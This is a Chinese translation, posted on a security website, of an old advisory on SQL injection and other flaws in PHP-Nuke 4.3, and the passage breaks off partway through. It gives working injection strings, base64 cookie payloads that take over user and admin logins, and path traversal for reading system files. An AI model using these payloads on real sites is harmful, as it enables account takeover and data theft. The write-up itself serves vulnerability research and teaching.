会员: 密码:  免费注册 | 忘记密码 | 会员登录 网页功能: 加入收藏 设为首页 网站搜索  
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
  · 杀毒专区
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
安全防线 > 漏洞分析
PHP-Nuke web中心系统中的用户登录SQL hacking
发表日期:2003-08-18 00:00:00作者: 出处:  

之所以翻译这个文章,是因为它非常细致完整地描述了发现安全漏洞的过程,包括成功的和不成功的尝试,提供了一些有用的技术和思路。PHP-Nuke本身的这些已被发现的漏洞会很快被修补,但发现问题的思路不会有大的改变,所以关键在于学习他的思路。文中可能有一些理解或翻译上的错误,原文可以在找到:

http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2

-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----

          RFPlutonium to fuel your PHP-Nuke

       SQL hacking user logins in PHP-Nuke web portal

------------------------------------/ rain forest puppy / rfp@wiretrip.net

目录:

-/ 1 / 标准的建议信息

-/ 2 / 总览

-/ 3 / 细解

-/ 4 / 其他手段

-/ 5 / 解决方案

--------------------------------------------------------------------------

声明:没人强迫你读这个,不想看的话你可以不看

--------------------------------------------------------------------------

-/ 1 / 标准的建议信息 /------------------------------------

软件包:     PHP-Nuke

厂商主页:    www.phpnuke.org

测试过的版本:  4.3

平台:     独立于平台(PHP)

联系厂商时间:  12/29/2000

CVE 候选号:   CAN-2001-0001

脆弱性类型:   访问验证弱点(普通用户和管理员)

RFPolicy v2:  http://www.wiretrip.net/rfp/policy.html

以前存在问题:  绕过管理员认证, Aug 2000

BID: 1592   CVE:CVE-2000-0745 SAC: 00.35.032

当前版本:4.4  (可能还是有问题,未测试)

-/ 2 / 总览 /------------------------------------------

  PHP-Nuke 是一个用PHP实现的网站和新闻中心系统。我对它的外表和提供的功能印象深刻,决定在以后的两个项目中用到它。就象我决定使用的其他代码一样,我会对那些代码做一个快速的审核(开放源码万岁)。我对代码整体上是满意的,它的确消除了一些有关SQL的安全问题。

  我觉得把这个脆弱性的如何工作的整个过程揭示出来,从教育的眼光来看,比只写什么“PHP-Nuke是可脆弱的”有意义的多。如果你想了解更多关于SQL hacking,应该看看RFP2K01,在:

  http://www.wiretrip.net/rfp/p/doc.asp?id=42

  这并不是个非常有用的入侵,它只是允许你冒充其他用户得到他们加密后的口令。它也给攻击者暴力破解用户或管理员的口令提供了可能性。

-/ 3 / 细解 /--------------------------------------

  首先,为了更好地辅助SQL hacking,打开SQL查询的记录选项是有帮助的。对MySQL来说只要在(safe_mysqld)启动的时候加上'-l logfile'参数就行了。

  其次,让我们看一下代码。因为是用PHP写的而且用MySQL,我们的目标函数当然是mysql_query()了。让我们把所有的mysql_query()都grep出来:

[rfp@cide nuke]# ls

admin/    config.php  index.php     print.php   topics.php

admin.php   counter.php language     scroller.js  ultramode.txt

article.php  dhtmllib.js links.php     search.php  upgrades

auth.inc.php faq.php   mainfile.php   sections.php user.php

backend.php  footer.php  manual/      stats.php   voteinclude.php

banners.php  friend.php  memberslist.php  submit.php

cache/    header.php  pollBooth.php   themes/

comments.php images/   pollcomments.php top.php

[rfp@cide nuke]# grep mysql_query *

admin.php:   $result = mysql_query("SELECT qid FROM queue");

.... 超过254条SQL queries就不贴在这了 ....

让我们来看看那些带有变量的语句,因为里面可能带有用户的输入。例如一些select语句:

article.php:  mysql_query("update users set umode='$mode',

    uorder='$order', thold='$thold' where uid='$cookie[0]'");

banners.php:  mysql_query("delete from banner where bid=$bid");

comments.php:  $something = mysql_query("$q");

user.php:    $result = mysql_query("select email, pass from users where

    (uname='$uname')");

index.php:   mysql_query("insert into referer values (NULL, '$referer')");

  来自 article.php 的查询带有四个变量: $mode, $order, $thold,和 $cookie[0]。 comments.php 很有趣,看起来整个查询放在$q变量中,这意味着我们必须到文件中去看那个变量的值是什么,在文件中,我们可以看到:

    $q = "select tid, pid, sid, date, name, email, url, host_name,

  subject, comment, score, reason from comments where sid=$sid

  and pid=$pid";

    if($thold != "") {

        $q .= " and score>=$thold";

    } else {

        $q .= " and score>=0";

    }

    if ($order==1) $q .= " order by date desc";

    if ($order==2) $q .= " order by score desc";

  所以我们可以看到$q里用到了变量$sid和$pid,可能还有$thold,如果它被定义了的话。

  现在我们该怎么办?让我们来看看那些变量里到底有些什么。我们从article.php中的那个查询开始。去掉注释后,实际的代码是这样的:

  <?PHP

  if(!isset($mainfile)) { include("mainfile.php"); }

  if(!isset($sid) && !isset($tid)) { exit(); }

  if($save) {

      cookiedecode($user);

      mysql_query("update users set umode='$mode', uorder='$order',

    thold='$thold' where uid='$cookie[0]'");

      getusrinfo($user);

      $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".

    "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".

    "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");

      setcookie("user","$info",time()+$cookieusrtime);

  }

(注意:为了在这个安全公告中显示,代码格式做了些调整)

  我们看到对变量$mode, $order, $thold, 和$cookie[0]并没有明显的处理。然而,mainfile.php被包含进来而且在函数cookiedecode()中可能会有些处理,所以我们也应该看看它们。

我们先得看看mainfile.php里是不是已经定义了变量 $mode, $order,$thold, or $cookie:

  [rfp@cide nuke]# grep \$mode mainfile.php

  [rfp@cide nuke]# grep \$order mainfile.php

  [rfp@cide nuke]# grep \$thold mainfile.php

  [rfp@cide nuke]#

  嗯, 可以看出mainfile.php 没有对那些变量做任何处理。然而有一个多余的变量$cookie被返回了(在这看不到)。这是因为在mainfile.php中有函数cookiedecode() (和其他相似的函数)。cookiedecode() 的代码是这样的:

  function cookiedecode($user) {

      global $cookie;

      $user = base64_decode($user);

      $cookie = explode(":", $user);

      return $cookie;

  }

cookiedecode()调用取到变量$user的值,用base64方式解码,以’:’为定界符分成几个部分,放入$cookie[]数组。这是有意义的,因为上面的SQL查询用到了$cookie[0],数组的第一个元素。

  怪?那个$user 变量是从哪来的呢? grep 一下mainfile.php 可以知道$user 变量只在这个函数中被用到。

  好啊。这意味着作者对变量$user(他被解码并拆分成$cookie[0]数组), $mode, $order, $thold什么都没干。对那些不熟悉PHP的人说一声,PHP会为从URL得到的参数各自己分配一个全局变量。例如,下面的查询:

  /somefile.php?varb1=rain&value2=forest¶m3=puppy

  会在脚本中定义出三个全局变量$varb1, $value2, 和$param3,它们的值分别为'rain', 'forest', and 'puppy'。这意味着如果我们以如下的URL向article.php提交,我们可以为变量$mode, $order,和$thold赋上任意的值:

  /article.php?mode=rain&order=forest&thold=puppy

在我们做这些之前,别忘了以下的程序片断:

  if($save) {

    ...

这意味着变量$save必须被设置。grep一下mainfile.php看不到变量$save,所以我们应该在URL中设置它的值:

  /article.php?mode=rain&order=forest&thold=puppy&save=1

让我们试试吧。对这个页面发出请求,没有东西返回,因为我忘掉了下面的这行:

  if(!isset($sid) && !isset($tid)) { exit(); }

我们需要把$sid 和$tid变量加到URL行,现在是这样了:

  /article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0

这次返回了一个错误页面。看看我们的mysql日志记录,有一个条目:

  1 Query   update users set umode='rain', uorder='forest',

      thold='puppy' where uid=''

  这证明确实起作用了。现在我们把数据提交给SQL查询,看看我们是不是能“干预”那个查询。我们试图重写那个查询以加入其他的SQL代码。这样做需要一些欺骗的技巧:加入一些额外的单引号。我们所做的是把$thold改成这样的:

    puppy', thold='puppy

这样的结果是查询语句会变成这样:

  update users set umode='rain', uorder='forest',

    thold='puppy', thold='puppy' where uid=''

            ^^^^^^^^^^^^^^^^^^^^

            我们提交的数据

  当然,这不是个有用的SQL语句,但我们只是想证明一下我们的利用方法。让我们来把这些放到URL里提交上去:

  /article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&    save=1&sid=0&tid=0

(注意:URL 是不换行的)

mysql日志中的记录:

  5 Query   update users set umode='rain', uorder='forest',

    thold='puppy\', thold=\'puppy' where uid=''

  糟糕!看起来当PHP处理从URL提交的参数的时候,自动地逸出了’(它变成了\’)。当然,我用的是 PHP 4,可能PHP 3.x并不是这样。从漏洞利用的角度看,这太讨厌了。从安全的角度看,这样很好。我可能忽略了一些东西,有谁认为我错了,给我来个email。

  无论如何,我们没失去什么。从这个角度看,我们知道有时候把全局变量扔进SQL语句可能是安全的(这可能依赖PHP的版本)。让我们回过头来看看cookiedecode()这个函数,它得到全局变量$user的值,用base64方式解码,拆分它到一个$cookie[]数组。需要注意的是$user变量可能是一个HTTPcookie,或者它可以是一个URL参数—PHP并不区分它们(至少在这片代码里不是)。

  因为实际的值是用base64编码的,PHP不对编码过后的值做任何逸出操作。意味着无论我们在$user变量放入什么都是安全的,看看:

  首先,我们需要得到正确的值。因为cookiedecode()会把值以':'字符进行拆分并使用第一个值,我们至少需要'something:'作为我们的值。那个'something'是我们的文本。现在来说,我们把它设成'www.cipherwar.com:'。现在,我们需要用base64方式编码它。用下面的命令行:

  [rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f

  begin-base64 644 f

  d3d3LmNpcGhlcndhci5jb206

  ====

意味着我们得到下面的东西加到URL:

  &user=d3d3LmNpcGhlcndhci5jb206

当我提交以上带上了额外user参数的URL时,我的mysql日志显示:

  7 Query   update users set umode='rain', uorder='forest',

      thold='puppy' where uid='www.cipherwar.com'

行了!现在我们看看能不能逃过SQL语句?

  [root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" |

    uuencode -m f

  begin-base64 644 f

  d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==

  ====

把这些加入URL并且提交,我的mysql日志显示:

  3 Query   update users set umode='rain', uorder='forest',

      thold='puppy' where uid='www.cipherwar.com'

      or uid='1'

  可以了!就象我们看到的那样,我们的值没有被处理过,允许我们干预查询的进行。然而,因为一些mysql本身的限制,我们的利用受到了一些轻微的限制。你们可能熟悉SQL hacking和我以前公布的一些技巧,MySQL不允许多个SQL命令被提交进同一个查询语句中。这意味着象以下这样的东西:

  mysql_query("select * from table1; select * from table2");

  这将不会执行两个'selects'—它只执行第一个,丢弃第二个。然而(不要绝望),我看到了MySQL TODO列表里有以下的条目:

  修改 `libmysql.c' 以允许一行中有两个mysql_query() 命令而不是只报出一个错误。

在TODO 列表中也有:

  子查询。select id from t where grp in (select grp from g where u > 100)

  这两个改进将会大大提高MySQL在SQL hacking方面的可行性。 现在这个时候,它还不能帮助我们(除非站点重写了PHP-Nuke来使用一个不同的数据库,比如Postgres。但这不太可能)。这意味着我们只能干预已有的查询(比如我们不能增加一个单独的查询)。因为PHP会对URL的参数做逸出处理,我们也会有限制,除非查询中含有一个通过特殊形式提交的变量(比如通过cookiedecode())。嗯,我们有很多限制。

让我们来看看我们所运行的查询:

        mysql_query("update users set umode='$mode', uorder='$order',

        thold='$thold' where uid='$cookie[0]'");

  通过指定一个任意的uid值,我们能搞到任何用户的umode,uorder和thold值。虽然有些另人恼火,但这实在称不上一个严重的问题,因为umode,uorder和thold只是一个用户的显示属性设置。我们来看看整个代码片断:

    if($save) {

        cookiedecode($user);

        mysql_query("update users set umode='$mode', uorder='$order',

        thold='$thold' where uid='$cookie[0]'");

        getusrinfo($user);

        $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".

        "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".

        "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");

        setcookie("user","$info",time()+$cookieusrtime); 

    }

  在调用cookiedecode()并且完成第一个查询之后,就会有getusrinfo()调用,在这之后一串用户信息用base64方式以cookie的方式发送给我们。注意!包含有$userinfo[pass]的。这意味着,如果我们足够小心的话,我们可能可以得到一个包含有用户口令的cookie,我们所要做的只要通过getusrinfo():

  function getusrinfo($user) {

      global $userinfo;

      $user2 = base64_decode($user);

      $user3 = explode(":", $user2);

      $result = mysql_query("select uid, name, uname, email,

      femail, url, pass, storynum, umode, uorder,

      thold, noscore, bio, ublockon, ublock, theme,

      commentmax from users where uname='$user3[1]'

      and pass='$user3[2]'");

      if(mysql_num_rows($result)==1) {

          $userinfo = mysql_fetch_array($result);

      } else {

          echo "<b>A problem occured</b><br>";

      }

      return $userinfo;

  }

  让我们来看看。再一次,它取到$user的值,用base64方式解码(就与cookiedecode()一样),然后用cookie的第二,三部分($user3[1] 和 $user3[2])去执行一个查询。然而,要让他正常地工作,我们需要知道目标用户正确的用户名和口令,不然SQL查询会返回0行,会显示“有错误发生”。如果我们知道了一个用户的用户名和口令,我们也没必要研究现在这些东西了,不是吗?

  我们是不是能干预查询呢?我们查询的是所有符合条件"uname='name' and pass='password'"的用户记录。如果我们放宽搜索的标准的话,我们应该可以得到更多。想像这样一个查询:

  ... where uname='name' and pass='password' or uname='name'

从逻辑上看,这个查询应该是这样分组的:

  ... where (uname='name' and pass='password') or (uname='name')

  现在,如果我们知道一个用户的用户名(我们应该可以的),但不知道他的口令,第一个子句就会失败;然而,第二个子句肯定满足条件。

让我们来测试下这个假设。现在我们必须构造出$user变量,里面有类似下面这样的字串:

  uid:username:blah' or uname='username

在我的机器上我想针对用户'test1'。因此我试试下面这样的串:

  1:test1:blah' or uname='test1

对它编一下码:

  [root@cide nuke]# echo -n "1:test1:blah' or uname='test1" |

    uuencode -m f

  begin-base64 644 f

  MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=

  ====

把它加到我们上面的查询中去,试一试。你瞧,我发送了这样一个cookie:

  Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;

  expires=Friday, 29-Dec-00 20:14:00 GMT

  user的值是base64方式编码的。我们有自己的base64解码方法,但为了与我们刚才所写的东西(例如使用命令行)兼容,最好的方法是创建一个文件(就叫它’encode’吧),文件中是以下的内容:

  begin-base64 666 user

  MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=

  ===

注意:用'='代替所有的%3D,不要包括最后的';'

现在,运行下面的命令:

  [root@cide nuke]# uudecode encode; cat user

  uudecode: encode: illegal line

  1:test1:lfkSv9NQ1eklg:10:rain:0:0:0

  就这些,包括了目标用户的uid,username,password。在你认为我使用了很强壮的口令之前,你应该知道PHP-Nuke用的是加密后的口令。这意味着你必须用暴力猜解来得到真正的口令。

  但这些东西重要吗?我们再来看看user.php。user.php是用来管理用户信息的脚本,包括登录,注册新用户,用户信息修改等。那用户信息是如何改变的?让我们来看看:

  function edituser() {

      global $user, $userinfo;

      include("header.php");

      getusrinfo($user);

      nav();

    ?>

    <table cellpadding=8 border=0><tr><td>

    <form action="user.php" method="post">

    <b><?php echo translate("Real Name"); ?></b> <?php echo

  translate("(optional)"); ?><br>

    <input class=textbox type="text" name="name" value="<?PHP

  echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>

  ...

  它包含了header.php文件(用来插入用户指定的HTML头标记)。它再调用getusrinfo()。好了,让我们看看如何利用getusrinfo()来把$userinfo变量设成任何值。edituser() 调用完getuserinfo()之后,调用nav(),接着打印出所有的用户信息。所以,看起来只要我们有有效的用户cookie,我们就可以成功地变为那个用户—我们不甚至需要去crack口令。

  但是,edituser()是在我们想要看信息的时候调用的。如果我们想修改一个用户的信息,我们必须通过saveuser()函数,它是这样的:

  function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,

    $vpass, $bio) {

      global $user, $cookie, $userinfo, $EditedMessage,

      $system, $minpass;

      cookiedecode($user);

      // Vulnerability fix thanks to DrBrain

      $user_check=$cookie[1];

      $result=mysql_query("select uid from users where

      uname='$user_check'");

      $vuid=mysql_result($result,0,"uid");

      if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {

      ...

当然,有趣的是这里已经’修正’了一个安全漏洞。让我们来看看这些代码是干什么的:

  cookiedecode()把$user变量的值解码到$cookie数组中。我们提交了那些$uid, $user, $uname变量。所以伪代码是下面这个样子的:

  -把$user变量解码到$cookie数组

  -查找在$cookie数组中用户名对应的uid(从我们提供的$user变量中得到)

  - 如果$cookie(我们提供的)中的用户名与$uname(我们提供的)相符并且$uid与$cookie (我们提供的)数组存放的uid一致。

  看起来问题的关键在于要使我们提供的cookie与我们作为参数给出的username相符,并且我们必须知道对应于用户名的userid(uid)。如果我们回到前面的edituser()函数,你会发现username对应的uid在查询后以一个隐含字段被返回的(我没有在这把那些代码包括进来)。所以我们能通过edituser()的查询来得到uid,然后用适当的cookie,uname,uid值来调用saveuser()。

  这有什么好处呢?当然,我们能接管这个用户账号。但更有意思的事应该是得到管理员的访问权限,对PHP-Nuke来说,就是相当于'authors'。

  那我们如何知道有关author账号的的信息呢?看下nuke.sql文件就行了,它是用来初始化PHP-Nuke数据库的脚本,我们可以看到author和用户信息是存放在各自不同的表中—这意味着我们必须找到一个特定的查找author表的查询。让我们来看看:

  [root@cide nuke]# grep mysql_query *|grep author

  admin.php:   $result = mysql_query("select radminarticle,

  radmintopic,radminleft,radminright,radminuser,radminmain,

  radminsurvey,radminsection,radminlink,radminephem,radminfilem,

  radminhead,radminsuper from authors where aid='$aid'");

  auth.inc.php:  $result=mysql_query("select pwd from authors where

  aid='$aid'");

  auth.inc.php: $result=mysql_query("select pwd from authors where

  aid='$aid'");

  mainfile.php:  $holder = mysql_query("SELECT url, email FROM authors

  where aid='$aid'");

  mainfile.php:  mysql_query("insert into stories values (NULL,

  '$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',

  '$author', '$notes')");

  search.php: $thing = mysql_query("select aid from authors order by

  aid");

  stats.php:$result = mysql_query("select * from authors");

  top.php:$result = mysql_query("select aid, counter from authors order

  by counter DESC limit 0,$top");

  嗯,只有8个命中。在mainfile.php中的第二个查询并不是一个对author表的查询,stats.php的查询中没有有包含任何变量,所以它们可以被忽略掉。Top.php的查询受限严重—如果MySQL允许添加额外的查询的话(就象前面讨论的那样),利用它是可能的,但按现在的情况是不行的,所以我们也没必要把时间浪费在那了。Mainfile.php里的查询并不从author表中获取任何令人感兴趣的信息,所以我们也没必要搞它了。所以我们只剩下admin.php 和 auth.inc.php。

Admin.php是管理员登录和行使管理功能的页面。Admin.php干的第一件事就是调用auth.inc.php,意味着需要欺骗auth.inc.php来做一些我们想做的事。有两个地方用到了auth.inc.php,初始登录和标准口令检查:

初始登录:

  if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {

   if($aid!="" AND $pwd!="") {

      $result=mysql_query("select pwd from authors where aid='$aid'");

      list($pass)=mysql_fetch_row($result);

      if($pass == $pwd) {

       $admin = base64_encode("$aid:$pwd");

       setcookie("admin","$admin",time()+2592000);

      }

     }

  }

标准口令检查:

  if(isset($admin)) {

    $admin = base64_decode($admin);

    $admin = explode(":", $admin);

    $aid = "$admin[0]";

    $pwd = "$admin[1]";

    if ($aid=="" || $pwd=="") {

      $admintest=0;

      echo .... bunch of HTML ....;

      exit;

    }

    $result=mysql_query("select pwd from authors where aid='$aid'");

    if(!$result) {

     echo "Selection from database failed!";

      exit;

    } else {

      list($pass)=mysql_fetch_row($result);

      if($pass == $pwd && $pass != "") {

       $admintest = 1;

      }

    }

  }

  在aritcle.php初始登录中,如果我们能使它相信我们就是那个用户的话,它会返回给我们一个含有用户名和口令的cookie。然而,为了获得author状态,我们需要欺骗标准口令检查程序段把$admintest变量值设成1。

  看看初始登录,我们需要对付出$aid参数,但是,就象我们先前讨论的那样,PHP不允许我们采用加入”’”的方法,所以这是不可行的。

  其他程序片段是从$admin cookie中得到变量值的,我们可以干预它(前面已经看到了)。所以我们实际是要对付下面的查询:

  $result=mysql_query("select pwd from authors where aid='$aid'");

我们必须满足下面的要求:

  if($pass == $pwd && $pass != "") {

  嗯,这有点麻烦。我们必须操纵那个查询使之返回一个已知的值,而这个值不能为空。对那个查询来说,它只返回’pwd’列。呵,如果我们知道那些东西的话,我们也没必要来搞它了。所以我只能坐下来想该怎么办。突然我想到了,我们需要知道查询所返回的值。那个值必须是一个已存在用户的口令。所以,想像一下这样一个查询:

  select pwd from authors where aid='arbitrary' or pwd='password'

  这会执行一个查询选择出那些aid的值为'arbitrary',或者口令的值为'password'的记录。呵,这有什么好处呢?

  这样做的好处是它将匹配只要以'password'作为口令的任何用户。我们可以通过给$aid变量提供这样一个值来操纵查询:

  ' or pwd='common_password

  所以如果只要有一个$pwd的值等于common_password,$pwd的值就会被设成common_password。如果我们把pass设成common_password的话,那么$pass==$pwd,我们就会被确认为author。实际上我们是以我们所提供的口令被确认为author的。PHP-Nuke的确允许为每个用户设置不不同的权限,我们可能没有权力干任何事,但是,我们得到了author这个状态。这是我们这个练习所要达到的目的。

  在你感到失望之前,你应该看看那些对author可用的选取项。惊奇的是竟然无需权限就可以干诸如运行’env’(基本上给了你php_info()),’show’(以web服务器的id看任意的文件),’chdr’(可以允许你对目录进行列表),’edit’(以web服务器的id写内容到文件中),等。

  对于SQL hacking,对PHP-Nuke就这些了。希望你喜欢这个比较长的例子!

-/ 4 / New Year BONUS: 其他手段 /------------------------------------

  对于从教育目的来说,在审查PHP代码的过程中,我认为有必要指出PHP-Nuke包含了一些其他很有趣的东西。

  当我坐下来审查一些代码的时候,第一件我要做的事就是查看那些与系统交互的调用—特别是那些文件系统交互和命令的执行。在PHP中,那些目标调用包括:

  exec()    - run external commands

  passthru()  - run external commands

  system()  - run external commands

  fopen()    - open a file (or URL)

  readfile()  - output a file (or URL)

  include()  - include a file (or URL)

  include_once()  - (same as include)

  前面三个是用来执行程序的。其他四个是用来读取文件的。因为require()/require_once()是在执行的时候被展开的,意味着我们没有机会在它们执行的时候干预它,所以对它们将不做审查。

  那我是怎么评价那些调用的使用情况的呢?最简单的办法是grep:

  [root@cide nuke]# grep exec *

  stats.php:$time = (exec("date"));

  stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n";

  stats.php:exec ("df", $x);

  嗯,有三个命中的。然而,它们中没有一个包含变量的(’df’中用到的$x变量是输出的时候用的),所以我们不能干预它们。继续,passthru()没有命中的。System()显示了一些命中,但它们大多只是文本和变量名—并没有实际的system()调用。

  让我们继续看那些文件调用。PHP独特的地方是你可以提供一个URL对文件调用,PHP会远程抓到它并使用它。所以这为我们使用远程系统的代码带来额外的好处—一个很有趣的特点!

让我们来看看

  [root@cide nuke]# grep fopen *

  admin.php:   $fp=fopen($basedir.$file,"w");

  admin.php:   $fp=fopen($basedir.$file,"r");

  admin.php:   $fp=fopen($basedir.$filelocation,"w");

  mainfile.php:  $file = fopen("$ultra", "w");

  mainfile.php:  $fpread = fopen($headlinesurl, 'r');

  mainfile.php:    $fpwrite = fopen($cache_file, 'w');

  嗯,admin.php很有希望,只是得看看$basedir和$file/$filelocation在哪有定义。Mainfile.php和$headlines/$cache_file也是一样。看看admin.php,$basedir是这样定义的:

  $basedir = dirname($SCRIPT_FILENAME);

  这基本上是脚本所在的目录。再看看,你可以知道$file在哪都没定义,这意味着我们能在URL里指定它!看看admin.php中’show’和’edit’的操作,我们的预感是正确的—‘show’会打开由$basedir.$file指定的文件,edit也一样。我们无法控制$basedir,但我们可以控制$file变量。所以我们可以使用’..’。这意味着在admin.php中以'../../../../etc/hosts'为参数进行’edit’操作,允许我们看到系统中的hosts文件。其他的fopen调用也能以相同的办法被滥用。

让我们继续mainfile.php. 看看 $headlinesurl:

  $result = mysql_query("select sitename, url, headlinesurl from

    headlines where status=1");

  while (list($sitename, $url, $headlinesurl) =

    mysql_fetch_row($result)) {

  这是一个对headlines表的静态查询。除非我们能在headlines数据库中插入值,我们做不了什么。$cache_file是这样定义的:

  $cache_file = "cache/$sitename.cache";

using the $sitename from the same query as $headlinesurl.

  继续看include_once()和readfile(),没有命中的。但是include()被用到了很多次,事实上有355次。它用来把其他文件包含进来,特别是那些某个页面风格的头文件和注脚文件等等。我们只想关注那些有变量的include()语句:

  footer.php:  include("themes/$cookie[9]/footer.php");

  footer.php:  include("themes/$Default_Theme/footer.php");

  header.php:  include("themes/$cookie[9]/theme.php");

  header.php:  include("themes/$cookie[9]/header.php");

  header.php:  include("themes/$Default_Theme/theme.php");

  header.php:  include("themes/$Default_Theme/header.php");

  mainfile.php: include("language/lang-$language.php");

  mainfile.php: include($cache_file);

  header.php 和footer.php用include()把用户偏好的主题文件包括进来(如果没有指定的话使用$Default_Theme)。$language 和 $cache_file也是在mainfile.php中定义的,所以mainfile.php行不通。让我们看下header.php。相关的代码:

  if (!isset($index)) {

      include("config.php");

      global $artpage, $topic;

    } else {

      global $site_font, $sitename, $artpage, $topic, $banners,

    $Default_Theme, $uimages;

    }

  ....

    if(isset($user)) {

        $user2 = base64_decode($user);

        $cookie = explode(":", $user2);

        if($cookie[9]=="") $cookie[9]=$Default_Theme;

        if(isset($theme)) $cookie[9]=$theme;

        include("themes/$cookie[9]/theme.php");

        include("themes/$cookie[9]/header.php");

    } else {

        include("themes/$Default_Theme/theme.php");

        include("themes/$Default_Theme/header.php");

    }

  我们看到如果$user变量被设置或者$Default_Theme没被设置的话,include会用到$cookie[9]。$Default_Theme在config.php中有定义,如果$index变量没有定义的话,它会被包含进来。

  你搞清楚了吗?可能你应该再读一次。$Default_Theme在config.php中有定义,如果$index变量没有定义的话,它会被包含进来。呵,所以如果我们设置了$index变量(在URL中加进index=1),config.php就不会被包含进来,这样我们就可以在URL里指定任意的$Default_Theme了,让我们来试试:

我来提交这样的URL:

  /header.php?index=1&Default_Theme=rain.forest.puppy

出现了这样的错误:

  Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for

  inclusion (include_path='') in /home/httpd/html/nuke/header.php on

  line 97

  Warning: Failed opening 'themes/rain.forest.puppy/header.php' for

  inclusion (include_path='') in /home/httpd/html/nuke/header.php on

  line 98

  呵,行得通。这样,我们是否能够通过提交特定的Default_Theme值来包含进任意的文件呢?不幸的是后面会加上'themes/',所以我们不能用到PHP远程URL文件抓取特点。

  我们能用'..'到父目录。然而,问题是无论我们提交什么,后面都会被加上'/theme.php'。我们看不到'../../../../etc/hosts',因为最后的include()是以这样的参数被调用的:

关于我们 / 给我留言 / 版权举报 / 意见建议 / 网站编程QQ群   
Copyright ©2003- 2024 Lihuasoft.net webmaster(at)lihuasoft.net 加载时间 0.00162